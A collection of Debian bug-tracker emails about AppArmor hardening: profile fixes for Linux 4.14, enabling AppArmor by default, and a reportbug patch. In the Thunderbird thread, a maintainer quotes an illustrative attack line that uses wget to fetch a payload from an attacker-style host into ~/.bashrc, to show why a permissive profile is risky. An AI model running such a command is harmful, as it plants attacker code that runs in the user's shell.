Thanks for reaching out to us. I've usertagged this bug "help-needed"
for the AppArmor team.

The advantage of doing so is that anyone on the pkg-apparmor@ mailing
list will learn about it, instead of just Simon and myself. I kindly
suggest that you use this usertag in the future (bus factor and all
that :)

The usertags we use are documented there:
https://wiki.debian.org/AppArmor/Reportbug#Usertags

> xul-ext-exeditor let users use a external editor instead of the internal
> mesaage compose functions. I don't use this extension so I can't help
> much here. I guess Martin can help in case of needed tests or requested
> feedback.

I believe this should incidentally be fixed by the updated profile you
(Carsten) merged a couple days ago.

W. Martin, can you please retry with this profile:
https://anonscm.debian.org/cgit/pkg-mozilla/thunderbird.git/tree/debian/apparmor/usr.bin.thunderbird
?

Cheers,
-- 
intrigeri

Bug#880387: aufs-dkms: the module is not built for Linux 4.14

[intrigeri]

Package: aufs-dkms
Version: 4.13+20171002-1
Severity: normal

Hi,

Linux 4.14-rc7 was uploaded to experimental; we're getting close to
the 4.14 final release and its upload to sid. How about uploading
a version of aufs-dkms that's compatible with Linux 4.14 (to sid, or
to experimental if that's impractical or not feasible) so that we're
ready when 4.14 reaches sid?

Cheers,
-- 
intrigeri

Bug#879590: apparmor: Decide how we enable AppArmor by default

[intrigeri]

Hi,

intrigeri:
> Ben Hutchings:
>> On Mon, 2017-10-23 at 10:06 +0200, intrig...@debian.org wrote:
>>> A. Make AppArmor the default LSM in the kernel
>> [...]
>>> B. Configure bootloaders to enable AppArmor by default
>>>
>>>On https://bugs.debian.org/702030 a nice & flexible solution was
>>>designed; let's call it B.1.
>> [...]
>>>A short-term simpler option would be to drop a file in
>>>/etc/default/grub.d/ [...] Let's call this option B.2.
>> [...]

>>> My personal preference is A > B.1. Ben & others, what do you think?

>> I agree.

> OK. Thanks for the prompt reply!

For the record this was done in src:linux 4.13.10-1 whose changelog
entry reads:

   * security: Enable DEFAULT_SECURITY_APPARMOR

Cheers,
-- 
intrigeri

Bug#871441: [pkg-apparmor] Bug#871441: apparmor: Including tunables/sys to tunables/global?

[intrigeri]

Vincent Blut:
> Thanks a lot for handling this!

No problem. Note that I have no plans to work on this personally.
But perhaps you might want to give it a try?

Bug#871441: apparmor: Including tunables/sys to tunables/global?

[intrigeri]

Control: forwarded -1 https://bugs.launchpad.net/apparmor/+bug/1728551

Hi,

John Johansen:
> On 09/20/2017 07:32 AM, intrigeri wrote:
>> I see that tunables/sys was introduced in 2012 by John (Cc'ed) as part
>> of a commit that adds "abstractions to support the apparmor api".
>> On my system, nothing uses these abstractions nor the @{sys} tunable.
>> So I admit I have no idea what problem @{sys} is meant to solve.
>> If it _is_ useful then it should be used everywhere instead of /sys/,
>> which requires quite some work for no obvious (to me) benefit.
>> 
>> John, what do you think?

> yeah, I think it would be worth starting to do the conversion of
> /sys/ to @{sys} as has been done with /proc/ to @{proc}

> with that said I haven't ever seen sys mounted somewhere different
> than /sys/ where I have seen that for proc.

> The big win of course is when fstype conditionals land at which
> point @{sys} could be further restricted to be /sys/ with and
> fs type of sysfs or even allowing disconnected access to sysfs.

> As for why this was introduced as part of the api abstraction
> profile management is done through sys and you probably haven't
> seen it because its not currently common to confine services
> doing profile management.

> I expect that will change more in the future as we open up policy
> namespaces more, which will safely allow users and applications
> to load their own policy.

Thanks for the explanation. I've filed an upstream bug about this.

Cheers,
-- 
intrigeri

Bug#838817: Cannot reproduce

[intrigeri]

intrigeri:
> I *thought* I had fixed this bug already:

> torbrowser-launcher (0.2.5-1) unstable; urgency=medium
> […]
>   * Remove obsolete conffile /etc/apparmor.d/torbrowser.start-tor-browser
> thanks to Paul Wise. (Closes: #805706)

> … but apparently I failed to get the rm_conffile line right.

FWIW I think I understood the problem… after seeing something very
similar while trying to stop installing
/etc/apparmor.d/usr.bin.torbrowser-launcher: upstream's setup.py still
installs that file, so removing the corresponding cp command from
debian/rules is not enough, and rm_conffile is effectively a noop
given the version number we pass to it. To really get rid of it I had
to:

 - remove the file from the cp command in debian/rules
 - add "rm 
debian/torbrowser-launcher/etc/apparmor.d/usr.bin.torbrowser-launcher"
   in debian/rules' override_dh_install
 - use rm_conffile

Now, this works because I've noticed this before uploading.

For this very bug I'm not sure. But I suspect that bumping the version
number passed to rm_conffile might be enough (we don't ship
torbrowser.start-tor-browser anymore).

Cheers!
-- 
intrigeri

Bug#879830: [Pkg-privacy-maintainers] Bug#879830: Bug#879830: torbrowser-launcher: AppArmor profiles break torbrowser-launcher when running Linux 4.14

[intrigeri]

Roger Shimizu:
> On Thu, Oct 26, 2017 at 8:44 PM,   wrote:
>> Do you folks think you could upload this within 1-2 weeks, before
>> Linux 4.14 reaches sid? Otherwise, let me know and I'll upload myself.

> You know torbrowser + apparmor better than most of us, so I think you
> just go ahead uploading when you feel OK.

Sure, I'll do it.

Bug#879900: apparmor-profiles-extra: Totem segfaults when apparmor profile is enforced

[intrigeri]

Control: tag -1 - moreinfo
Control: tag -1 + upstream
Control: forwarded -1 
https://code.launchpad.net/~intrigeri/apparmor-profiles/+git/apparmor-profiles/+merge/332963
Control: tag -1 + pending

Jason Wittlin-Cohen:
> Adding  #include  to /etc/apparmor.d/local/usr.bin.totem
> fixed the issue. I am now able to open Totem and play videos.

Cool, thank you for testing.

I've proposed this fix upstream and imported it in the Debian
packaging. I'll upload once 1.15 has migrated to testing, which should
happen within 1-2 days.

> I still see some apparmor DENY messages in the logs, but they
> seem unrelated.

Well, it's always annoying to have such logs because it makes it
harder to identify the root cause for other, real bugs. So feel free
to file a dedicated bug report about this. And if you want to try to
fix it yourself, I'll be happy to review your work :) Hint: the ".gl"
thing looks suspiciously like OpenGL so it might be something that's
legitimately accessed when using the NVIDIA drivers.

Cheers!

Bug#880078: apparmor: Bump pinned feature set to Linux 4.14's

[intrigeri]

Package: apparmor
Version: 2.11.1-2
Severity: normal

Feature set pinning was broken since Linux 4.14-rc2 but it'll be
repaired in 4.14-rc7. Once our policy is ready enough for Linux 4.14
(#877581) and that kernel is in sid, we can bump the pinned feature
set to Linux 4.14's.

This will probably trigger a few bug reports about bits of policy that
are not ready for 4.14 yet (and we'll have to track and fix these
bugs), but at least we control when this happens i.e. it won't happen
as soon as Linux 4.14 reaches sid.

I'm not sure if we should go through this before enabling AppArmor
by default. On the one hand, I'm afraid of the backlash if the first
experience of testing/sid users with AppArmor is "it breaks stuff".
OTOH more users => faster bug reports => quicker fixes.

Bug#876333: thunderbird: AppArmor profile allows mmap executables from user writable directories

[intrigeri]

Control: tag -1 + fixed-upstream

Thanks to Vincas this was fixed upstream at the same time as #855346:
https://git.launchpad.net/apparmor-profiles/tree/ubuntu/17.10/usr.bin.thunderbird

Carsten, could you please pull this updated profile?

Cheers,
-- 
intrigeri

Bug#855346: thunderbird: Can't open attachments with AppArmor profile enforced

[intrigeri]

Control: tag -1 + fixed-upstream

Thanks to Vincas this was fixed upstream:
https://git.launchpad.net/apparmor-profiles/tree/ubuntu/17.10/usr.bin.thunderbird

Carsten, could you please pull this updated profile?

Cheers,
-- 
intrigeri

Bug#879900: apparmor-profiles-extra: Totem segfaults when apparmor profile is enforced

[intrigeri]

Control: retitle -1 Totem segfaults with NVIDIA proprietary drivers when 
AppArmor profile is enforced
Control: tag -1 + moreinfo

Hi Jason!

Jason Wittlin-Cohen:
> Totem suffers a segmentation fault upon startup when its respective apparmor
> profile is set to enforce mode.  It starts fine when the apparmor profile is
> set to complain mode. I have not modified the /etc/apparmor.d/usr.bin.totem
> profile.

> […]
> Oct 27 00:00:22 debian-testing kernel: [139101.193078] audit: type=1400
> audit(1509076822.746:1331): apparmor="DENIED" operation="open"
> profile="/usr/bin/totem" name="/proc/modules" pid=29696 comm="totem"
> requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
> Oct 27 00:00:22 debian-testing kernel: [139101.194061] audit: type=1400
> audit(1509076822.747:1332): apparmor="DENIED" operation="exec"
> profile="/usr/bin/totem" name="/usr/bin/nvidia-modprobe" pid=29699
> comm="totem"
> requested_mask="x" denied_mask="x" fsuid=1000 ouid=0

Thanks for reporting this. This seems to be specific to using the
NVIDIA proprietary drivers. Unfortunately I have no NVIDIA hardware
available so I'll need help from you to fix this. This may require
more than one "please test this and report back" iteration.

Could you please try adding to /etc/apparmor.d/local/usr.bin.totem

  #include 

… then run "sudo apparmor_parser -r /etc/apparmor.d/usr.bin.totem"
and retry.

If that's not enough, also add:

  /usr/bin/nvidia-modprobe Pix,

… then run "sudo apparmor_parser -r /etc/apparmor.d/usr.bin.totem"
and retry.

If both fail, I will need the corresponding AppArmor logs that you can
gather with:

  sudo journalctl -ka --no-hostname | grep -w 'apparmor="DENIED"' 

Or, if systemd-journald is not running:

  sudo grep -w 'apparmor="DENIED"' \
 /var/log/auditd/auditd.log \
 /var/log/syslog

This could also be worth a try:

  /usr/bin/nvidia-modprobe PUx,

(it's not good enough to be applied as-in in Debian but at least it
may help us diagnose the problem :)

Thanks in advance!

Bug#773346: reportbug should provide information about active LSM

[intrigeri]

intrigeri:
> I'm attaching the equivalent for AppArmor.

Here's a cleaned up v2 (my initial patch had leftovers from a previous
version that included the output of aa-enabled; now that I've stopped
doing it I could simplify the code a bit).

Thanks a lot to Christian Boltz for catching this and
suggesting --quiet!

Cheers,
-- 
intrigeri

>From c5646798735a12d464a8dc577e3d399fce6f3583 Mon Sep 17 00:00:00 2001
From: intrigeri <intrig...@debian.org>
Date: Thu, 26 Oct 2017 16:18:19 +
Subject: [PATCH] Add AppArmor status in the bug reports (Closes: #773346)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

…using aa-enabled(1).

aa-enabled is shipped in the apparmor binary package so this check is not 100%
correct: technically, the AppArmor LSM can be enabled without the apparmor
package being installed, and in this case we won't tell about it in the
generated bug report. But for all practical matters, from reportbug's
perspective, this corner case is equivalent to AppArmor being disabled: without
apparmor_parser installed one can't compile and load policy into the kernel, so
the LSM is essentially a no-op.

Other, discarded options:

 - LibAppArmor.aa_is_enabled() would work, but it adds a dependency
   for little value; it's still an option on the table if the reportbug
   maintainers prefer not to shell out though.
 - checking /sys/module/apparmor/parameters/enabled would work, but it's too
   low-level for my taste.
---
 reportbug/utils.py | 10 +-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/reportbug/utils.py b/reportbug/utils.py
index d1c9516..b0d0127 100644
--- a/reportbug/utils.py
+++ b/reportbug/utils.py
@@ -1318,10 +1318,18 @@ def get_lsm_info():
 cannot be determined."""
 
 lsminfo = None
+
+if os.path.exists('/usr/bin/aa-enabled') \
+   and (subprocess.call(['/usr/bin/aa-enabled', '--quiet']) == 0):
+lsminfo = 'AppArmor: enabled'
+
 if selinux_module:
 is_selinux_enabled = selinux.is_selinux_enabled()
 if (is_selinux_enabled == 1):
-lsminfo = 'SELinux: enabled - '
+if lsminfo is None:
+lsminfo = 'SELinux: enabled - '
+else:
+lsminfo += '; SELinux: enabled - '
 is_selinux_enforce = selinux.security_getenforce()
 if (is_selinux_enforce == 0):
 lsminfo += 'Mode: permissive - '
-- 
2.15.0.rc2

Bug#773346: reportbug should provide information about active LSM

[intrigeri]

Hi,

Laurent Bigonville:
> Le 07/10/17 à 17:03, Laurent Bigonville a écrit :
>> Here a patch that implements the SELinux part
> Please find here the version 2 of my patch.

Thanks! I've reviewed this patch and it looks OK to me. I've tested it
on a sid system 1. with AppArmor enabled; 2. with no LSM enabled; and
it works as expected. I trust you've tested it on a system with
SELinux enabled so I didn't check this.

I'm attaching the equivalent for AppArmor. This patch is meant to be
applied on top of Laurent's.

Cheers,
-- 
intrigeri

>From d40f198f40ec665e6233982d73a81c2fc3acce8c Mon Sep 17 00:00:00 2001
From: intrigeri <intrig...@debian.org>
Date: Thu, 26 Oct 2017 16:18:19 +
Subject: [PATCH] Add AppArmor status in the bug reports (Closes: #773346)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

…using aa-enabled(1).

aa-enabled is shipped in the apparmor binary package so this check is not 100%
correct: technically, the AppArmor LSM can be enabled without the apparmor
package being installed, and in this case we won't tell about it in the
generated bug report. But for all practical matters, from reportbug's
perspective, this corner case is equivalent to AppArmor being disabled: without
apparmor_parser installed one can't compile and load policy into the kernel, so
the LSM is essentially a no-op.

Other, discarded options:

 - LibAppArmor.aa_is_enabled() would work, but it adds a dependency
   for little value; it's still an option on the table if the reportbug
   maintainers prefer not to shell out though.
 - checking /sys/module/apparmor/parameters/enabled would work, but it's too
   low-level for my taste.
---
 reportbug/utils.py | 12 +++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/reportbug/utils.py b/reportbug/utils.py
index d1c9516..8b0a1ce 100644
--- a/reportbug/utils.py
+++ b/reportbug/utils.py
@@ -1318,10 +1318,20 @@ def get_lsm_info():
 cannot be determined."""
 
 lsminfo = None
+
+if os.path.exists('/usr/bin/aa-enabled') \
+   and (subprocess.run('LC_ALL=C.UTF-8 aa-enabled',
+   shell=True,
+   stdout=subprocess.PIPE).returncode == 0):
+lsminfo = 'AppArmor: enabled'
+
 if selinux_module:
 is_selinux_enabled = selinux.is_selinux_enabled()
 if (is_selinux_enabled == 1):
-lsminfo = 'SELinux: enabled - '
+if lsminfo is None:
+lsminfo = 'SELinux: enabled - '
+else:
+lsminfo += '; SELinux: enabled - '
 is_selinux_enforce = selinux.security_getenforce()
 if (is_selinux_enforce == 0):
 lsminfo += 'Mode: permissive - '
-- 
2.15.0.rc2

Bug#879590: Making apparmor "Priority: standard"? [Was: Bug#879590: apparmor: Decide how we enable AppArmor by default]

[intrigeri]

Hi KiBi!

Cyril Brulebois:
> intrigeri <intrig...@debian.org> (2017-10-25):
>> I'm working on the last blockers towards starting the experiment I've
>> proposed on debian-devel@ 2.5 months ago, i.e. enabling AppArmor by
>> default for a while in testing/sid.

> Does it make sense to have it installed everywhere, including in
> chroots, containers, etc., or should it be mainly installed in d-i
> installed systems?

It makes sense in any kind of system that runs its own Linux kernel:
not in chroots & containers (there's WIP upstream for allowing
containers to stack their own AppArmor policy on top of the host's one
but we're not there yet), but definitely in systems installed by d-i
(be it during initial installation or dist-upgrades, see the email
I've just sent to -devel@ about the latter).

>> Enabling AppArmor by default on new installations requires two
>> changes:
>> 
>> 1. enable the LSM in Linux: problem solved, Ben Hutchings is fine with
>>doing this in src:linux
>> 2. install the apparmor package by default.

> It seems it's built on non-Linux ports as well, does it make sense to
> have it installed there? Please poke debian-bsd@ and debian-hurd@ if in
> doubt.

No, it doesn't make sense to install it there; it shouldn't harm
either. So far I've kept src:apparmor building on non-Linux ports in
the hope some portability issues turn out to be real bugs that affect
Linux too, but this never happened. So if it simplifies the problem
let's build the package only on Linux ports.

>> My understanding is that making the apparmor package "Priority:
>> standard" i the way to go. Correct?

> Depends on the first question above.

Replied. Anything else you need from me to answer this question?

> Thanks for checking with us in any cases. :)

No problem, I don't want to cause issues that could easily be
prevented :)

Cheers,
-- 
intrigeri

Bug#879590: apparmor: Decide how we enable AppArmor by default

[intrigeri]

intrigeri:
> But I'm not sure what's the best way to pull the apparmor package:

> 1. on testing/sid upgrades, during the Buster dev cycle: this would
>greatly increase the value of the "enable AppArmor by default for
>a while" experiment;
> 2. during Stretch to Buster upgrades: this seems necessary so every
>user gets the AppArmor benefits, regardless of when they installed
>their system initially.

> I could not find anything better so far than having another package,
> that's already installed by default, add a "Recommends: apparmor" (I'm
> assuming that APT installs newly recommended packages by default on
> upgrade). This feels artificial and rather ugly, but it might be the
> only option. I'll ask more people around.

I've just asked help on debian-devel@ about it.

Bug#877581: Ensure our AppArmor policy does not break stuff with Linux 4.14

[intrigeri]

intrigeri:
> Here's a more up-to-date dump.

Good news: most of these changes were needed only due to a bug in
apparmor_parser, that's been fixed in AppArmor 2.11.1.

Vincas has built a complete list of packages that ship AppArmor policy
(thanks!). I've triaged it a bit, tested those that seemed high
priority to me, found no new breakage which is pretty much expected as
most of this policy comes from Ubuntu, that has been shipping the
features that landed in Linux 4.14 for a while, so their policy is
ready for it :)  If anyone wants to test other stuff they care about
more than I do, please go ahead and let the pad know:
https://annuel2.framapad.org/p/AppArmor-in-Debian-sprint

All in all I've only found two packages that still need fixing:
libvirt and torbrowser-launcher. I've sent patches upstream and to the
Debian BTS for both.

I'm tracking the required changes via blocking bugs of this one +
a usertag:
https://udd.debian.org/cgi-bin/bts-usertags.cgi?tag=linux-4.14=pkg-apparmor-team%40lists.alioth.debian.org
(one of these techniques should be enough but apparently I could not
make up my mind, oh well).

Cheers,
-- 
intrigeri

Bug#879830: torbrowser-launcher: AppArmor profiles break torbrowser-launcher when running Linux 4.14

[intrigeri]

Package: torbrowser-launcher
Version: 0.2.8-3
Severity: important
Tags: pending
User: pkg-apparmor-t...@lists.alioth.debian.org
Usertags: linux-4.14

Hi!

AppArmor mediates many more operations in Linux 4.14 and the AppArmor
policy we currently ship does not take this into account
⇒ torbrowser-launcher is broken when AppArmor is enabled and one runs
Linux 4.14.

This is a corner case for now, but very soon both will be the default
in testing/sid so let's get ready for it before this bug becomes RC.

I've submitted the needed fixes upstream and pushed them as quilt
patches to Vcs-Git.

Do you folks think you could upload this within 1-2 weeks, before
Linux 4.14 reaches sid? Otherwise, let me know and I'll upload myself.

Cheers,
-- 
intrigeri

Bug#879772: libvirt-daemon-system: Broken with AppArmor on Linux 4.14-rc5

[intrigeri]

Hi,

please instead import the updated patch I've just sent upstream:
https://www.redhat.com/archives/libvir-list/2017-October/msg01181.html

Thanks!

Cheers,
-- 
intrigeri

Bug#855346: thunderbird: Can't open attachments with AppArmor profile enforced

[intrigeri]

Vincas Dargis:
> On 2017.10.25 10:26, intrigeri wrote:
>> Indeed, it might be that the specific rules about evince & totem
>> you're quoting from my patch above are not needed. It would be nice if
>> we could drop them (and the maintenance cost of hard-coding a list of
>> exceptions) so I'm hoping your testing confirms your hypothesis :)

> Yes I am going to test multiple format attachements just now.

Amazing! :)

> Personally, I would like to have bunch of abstractions to contain
> all image, document viewers, editors and what not, […]

I'm not looking forward to maintaining these abstractions.

> With pending patch, some Thunderbird exploit needs just execute
> `wget -O ~/.bashrc http://cracr.io:1337/own` and it's end game.

Right. Sadly, the other currently available option is what we have
now: breaking critical stuff in a way that encourages people to fully
disable AppArmor and open a bunch of other holes in their system (by
disabling all confinement for all other apps). This is exactly what
I've been trying to avoid in the last years while working on AppArmor
in Debian, and I'm sad we're shipping an AppArmor profile that breaks
basic functionality here.

> But let's fix this critical broken stuff and do the right way later.

ACK, glad we're on the same page :)

[Now, if we want to talk about the right way, I doubt it'll be with
AppArmor: Flatpak and friends finally tackle the problems AppArmor
can't solve for GUI apps.]

Cheers,
-- 
intrigeri

Bug#879776: torbrowser-launcher: usr.bin.torbrowser-launcher AppArmor profile makes logs extremely noisy on Linux 4.14

[intrigeri]

Package: torbrowser-launcher
Version: 0.2.8-3
Severity: normal
Tags: pending
User: pkg-apparmor-t...@lists.alioth.debian.org
Usertags: linux-4.14

Hi,

we ship this profile in complain mode (i.e. it does not block
anything but logs what it does) in the hope someone starts maintaining
it some day. This did not happen so the benefit is non-existent.

On Linux 4.14 the corresponding cost increased *a lot*: one single
start of Tor Browser added no less than 27880 lines to my kernel logs,
because AppArmor mediates many more operations in Linux 4.14.

IMO it's time to stop shipping this profile.

I did this in Vcs-Git (debian-sid branch), not built nor
tested though.

Do you folks think you could upload this within 1-2 weeks, before
Linux 4.14 reaches sid? Otherwise, let me know and I'll upload myself.

Cheers,
-- 
intrigeri

Bug#838817: Cannot reproduce

[intrigeri]

Hi,

u:
> I can't reproduce this on a stable system using the latest
> torbrowser-launcher from jessie-backports.

> Did you test this on a clean installation?

A clean installation won't expose this bug: it can only happen when
one had installed a version that shipped
/etc/apparmor.d/torbrowser.start-tor-browser and later upgraded to one
that doesn't anymore.

I *thought* I had fixed this bug already:

torbrowser-launcher (0.2.5-1) unstable; urgency=medium
[…]
  * Remove obsolete conffile /etc/apparmor.d/torbrowser.start-tor-browser
thanks to Paul Wise. (Closes: #805706)

… but apparently I failed to get the rm_conffile line right.

Cheers!
-- 
intrigeri

Bug#879590: Making apparmor "Priority: standard"? [Was: Bug#879590: apparmor: Decide how we enable AppArmor by default]

[intrigeri]

Hi debian-boot@!

tl;dr: can I make the apparmor package Priority: standard?

Context
===

I'm working on the last blockers towards starting the experiment I've
proposed on debian-devel@ 2.5 months ago, i.e. enabling AppArmor by
default for a while in testing/sid.

Enabling AppArmor by default on new installations requires two
changes:

1. enable the LSM in Linux: problem solved, Ben Hutchings is fine with
   doing this in src:linux
2. install the apparmor package by default.

This email is about (2).

Priority: standard?
===

My understanding is that making the apparmor package "Priority:
standard" i the way to go. Correct?

The package itself has "Installed-Size: 1803 kB".

I've trimmed the dependencies of this package a bit (just uploaded
2.11.1-2 as a result) so it seems to be an OK thing to do to me.
The dependencies are now:

  libc6 (>= 2.17),
  debconf (>= 0.5) | debconf-2.0,
  python3:any,
  lsb-base (>= 3.0-6),
  debconf

… i.e. only stuff that's installed by default already anyway.

Would you folks have any problem with this change?

Once this is done I'll coordinate with Ben wrt. pushing the other big
red button i.e. (1) once the other blockers have been resolved.

Cheers,
-- 
intrigeri

Bug#879772: libvirt-daemon-system: Broken with AppArmor on Linux 4.14-rc5

[intrigeri]

Package: libvirt-daemon-system
Version: 3.8.0-3
Severity: important
Tags: patch
User: pkg-apparmor-t...@lists.alioth.debian.org
Usertags: linux-4.14

Hi!

Linux 4.14 brings quite a few new AppArmor mediation features that the
libvirt policy is not ready for. I've been running this kernel for 10+
days and the attached patch fixed all the issues I've noticed so far.

It would be nice to have this in sid before Linux 4.14 lands there,
in order to avoid any "OMG AppArmor breaks everything" effect.

Note, if you want to test this: currently more stuff is broken due to
the combination of a kernel bug + a long-term fix of mine
(https://lists.alioth.debian.org/pipermail/pkg-apparmor-team/2017-October/001823.html).
So if you test it locally, please:

 - use apparmor 2.11.1 and a recent linux 4.14-rcN
 - disable features-files= in /etc/apparmor/parser.conf (until that
   kernel bug is fixed)

Cheers,
-- 
intrigeri

>From d4fe9f6729565205b90df8a5165da284f6a852f8 Mon Sep 17 00:00:00 2001
From: intrigeri <intrigeri+libv...@boum.org>
Date: Wed, 25 Oct 2017 16:05:00 +
Subject: [PATCH] 
 AppArmor-add-rules-needed-with-additional-mediation-featu.patch: new patch,
 adding mediation rules needed with additional mediation features brought by
 Linux 4.14.

Submitted upstream: https://www.redhat.com/archives/libvir-list/2017-October/msg01153.html
---
 ...es-needed-with-additional-mediation-featu.patch | 55 ++
 debian/patches/series  |  1 +
 2 files changed, 56 insertions(+)
 create mode 100644 debian/patches/AppArmor-add-rules-needed-with-additional-mediation-featu.patch

diff --git a/debian/patches/AppArmor-add-rules-needed-with-additional-mediation-featu.patch b/debian/patches/AppArmor-add-rules-needed-with-additional-mediation-featu.patch
new file mode 100644
index 00..f9ae6983ff
--- /dev/null
+++ b/debian/patches/AppArmor-add-rules-needed-with-additional-mediation-featu.patch
@@ -0,0 +1,55 @@
+From: intrigeri <intrigeri+libv...@boum.org>
+Date: Wed, 25 Oct 2017 15:54:36 +
+Subject: AppArmor: add rules needed with additional mediation features
+ brought by Linux 4.14.
+
+---
+ examples/apparmor/libvirt-qemu  | 2 ++
+ examples/apparmor/usr.sbin.libvirtd | 9 +
+ 2 files changed, 11 insertions(+)
+
+diff --git a/examples/apparmor/libvirt-qemu b/examples/apparmor/libvirt-qemu
+index dcfb1a5..0d76bc6 100644
+--- a/examples/apparmor/libvirt-qemu
 b/examples/apparmor/libvirt-qemu
+@@ -16,6 +16,8 @@
+   network inet stream,
+   network inet6 stream,
+ 
++  signal (receive) set=("term") peer=/usr/sbin/libvirtd,
++
+   /dev/net/tun rw,
+   /dev/kvm rw,
+   /dev/ptmx rw,
+diff --git a/examples/apparmor/usr.sbin.libvirtd b/examples/apparmor/usr.sbin.libvirtd
+index 70b70bb..104d635 100644
+--- a/examples/apparmor/usr.sbin.libvirtd
 b/examples/apparmor/usr.sbin.libvirtd
+@@ -30,6 +30,8 @@
+   # Needed for vfio
+   capability sys_resource,
+ 
++  mount,
++
+   network inet stream,
+   network inet dgram,
+   network inet6 stream,
+@@ -37,11 +39,18 @@
+   network packet dgram,
+   network packet raw,
+ 
++  network netlink raw,
++  network unix dgram,
++  network unix stream,
++
+   ptrace (trace) peer=unconfined,
+   ptrace (trace) peer=/usr/sbin/libvirtd,
+   ptrace (trace) peer=/usr/sbin/dnsmasq,
+   ptrace (trace) peer=libvirt-*,
+ 
++  signal (send) set=("hup") peer=/usr/sbin/dnsmasq,
++  signal (send) set=("term") peer=libvirt-*,
++
+   # Very lenient profile for libvirtd since we want to first focus on confining
+   # the guests. Guests will have a very restricted profile.
+   / r,
diff --git a/debian/patches/series b/debian/patches/series
index f13b179c7a..1859385b9b 100644
--- a/debian/patches/series
+++ b/debian/patches/series
@@ -19,3 +19,4 @@ Pass-GPG_TTY-env-var-to-the-ssh-binary.patch
 apparmor-add-dnsmasq-ptrace-rule-to-libvirtd-profile.patch
 virt-host-validate-require-fuse-for-LXC-if-compiled-in.patch
 qemu-ensure-TLS-clients-always-verify-the-server-certific.patch
+AppArmor-add-rules-needed-with-additional-mediation-featu.patch
-- 
2.15.0.rc2

Bug#879590: apparmor: Decide how we enable AppArmor by default

[intrigeri]

Hi,

intrigeri:
> Next step: figure out how to actually pull AppArmor utilities & policy
> by default (enabling the LSM is not very useful if we don't install
> those too).

For new installations, making the apparmor package "Priority:
standard" seems to be the way to go. I've trimmed its dependencies
a bit (to be uploaded as 2.11.1-2) so it seems to be an OK thing to
do. I'll ask on -devel@ if there's a problem with that, once I have
something to propose for the following problem.

But I'm not sure what's the best way to pull the apparmor package:

1. on testing/sid upgrades, during the Buster dev cycle: this would
   greatly increase the value of the "enable AppArmor by default for
   a while" experiment;
2. during Stretch to Buster upgrades: this seems necessary so every
   user gets the AppArmor benefits, regardless of when they installed
   their system initially.

I could not find anything better so far than having another package,
that's already installed by default, add a "Recommends: apparmor" (I'm
assuming that APT installs newly recommended packages by default on
upgrade). This feels artificial and rather ugly, but it might be the
only option. I'll ask more people around.

FTR Ubuntu installs the apparmor package by default using something
that has a very similar definition to "Priority: standard":
http://bazaar.launchpad.net/~ubuntu-core-dev/ubuntu-seeds/platform.artful/view/head:/standard#L73
(the parenthesis around the package name means it'll be a Recommends,
not a Depends, so it gets installed by default but the user may choose
to remove it). But we don't use germinate so it's not useful for
Debian. They don't install apparmor-utils by default.

Bug#874100: thunderbird: Let's clarify what's the upstream for our AppArmor profile

[intrigeri]

intrigeri:
> Let's wait for Ulrike's input before closing this bug though.

Ulrike told me privately that she's happy I took over the lead on this
front, and I know she's pretty busy elsewhere at the moment, so let's
not block on this.

The only blocker left before we can close this bug is getting me
access to Vcs-Git. Carsten requested it 3 weeks ago [1].

[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=855346#79

Cheers,
-- 
intrigeri

Bug#874100: thunderbird: Let's clarify what's the upstream for our AppArmor profile

[intrigeri]

Hi,

Carsten Schoenert:
> I'm fine with that workflow too for now.

Cool! I'll check the status of my access to Vcs-Git and will ping
the relevant people if needed.

> I have no great experience with AppArmor (but Christoph also not), Guido
> don't want to do much for Thunderbird due time constraints. I'm happy he
> is doing all the LTS work on Thunderbird packages.

> So in the long turn I think it's better to migrate the AppArmor profile
> for Thunderbird to AppArmor itself?

For various reasons it's better if AppArmor profiles are shipped in
the same package as the software they confine. Guido has mentioned
some reasons on the AppArmor thread on -devel@, and it plays better
with backports, security uploads and such (otherwise we need to
update whatever other package ships the policy in lockstep).

> Otherwise we can stay on the status
> quo and intrigeri is performing the needed changes for the profile
> inside the Thunderbird packaging.

Let's do this!

Cheers,
-- 
intrigeri

Bug#876333: thunderbird: AppArmor profile allows mmap executables from user writable directories

[intrigeri]

Hi Vincas & others,

Simon Deziel:
> On 2017-09-21 02:46 AM, Vincas Dargis wrote:
>> /etc/apparmor.d/usr.bin.thunderbird has these lines:
>> 
>> owner /tmp/** m,
>> owner /var/tmp/** m,
>> 
>> Is this really necesarry? If Thunderbir actually tries to mmap files with
>> executable flags, I believe it should be reported as a bug upstream.

> I just removed those 2 lines and ran some tests (calendar, enigmail,
> etc) and saw no denials.

Do you plan to fix this as part of your MR upstream for #855346?

Cheers,
-- 
intrigeri

Bug#855346: thunderbird: Can't open attachments with AppArmor profile enforced

[intrigeri]

Hi Vincas,

Vincas Dargis:
> +  # Allow opening attachments
> +  /{usr/,}bin/* Cx -> sanitized_helper,
> +  /{usr/,}sbin/* Cx -> sanitized_helper,
> +  /usr/local/{bin,sbin}/* Cx -> sanitized_helper,
> +  /usr/bin/evince Pix,
> +  /usr/bin/totem Pix,

[...]

> Do we really need sbin? I kind doubt there will be "document viewers", and it 
> has
> setuid applications like pppd and exim4, which is not comforting.

Good catch! Makes sense to me, feel free to drop the sbin bits as long
as it does not obviously break stuff in your tests :)

> Also, if sanitized_helper contains:

> `/{usr/,}bin/* Pixr,`

> Doesn't this automatically mean that this line in usr.bin.thunderbird profile

> `/{usr/,}bin/* Cx -> sanitized_helper,`

> will in result launch /usr/bin/totem with it's *P*rofile?

> I wonder, because `abstractions/ubuntu-media-players has `/usr/bin/totem Cxr 
> -> sanitized_helper,`, maybe that would work?
> I'll do some testing tomorrow.

Indeed, it might be that the specific rules about evince & totem
you're quoting from my patch above are not needed. It would be nice if
we could drop them (and the maintenance cost of hard-coding a list of
exceptions) so I'm hoping your testing confirms your hypothesis :)

> If there's extra rules for XFCE, maybe I should try Thunderbird on several DE.

This would be sweet but right now the thing is totally broken, so
fixing them on the default DE (GNOME) only would be a huge improvement
already. I suggest you focus on getting this done first, and later we
can test (or call for testing!) on other DEs. There's no way we can
test all relevant configurations, so we'll need to rely on user
testing to some degree anyway.

Cheers,
-- 
intrigeri

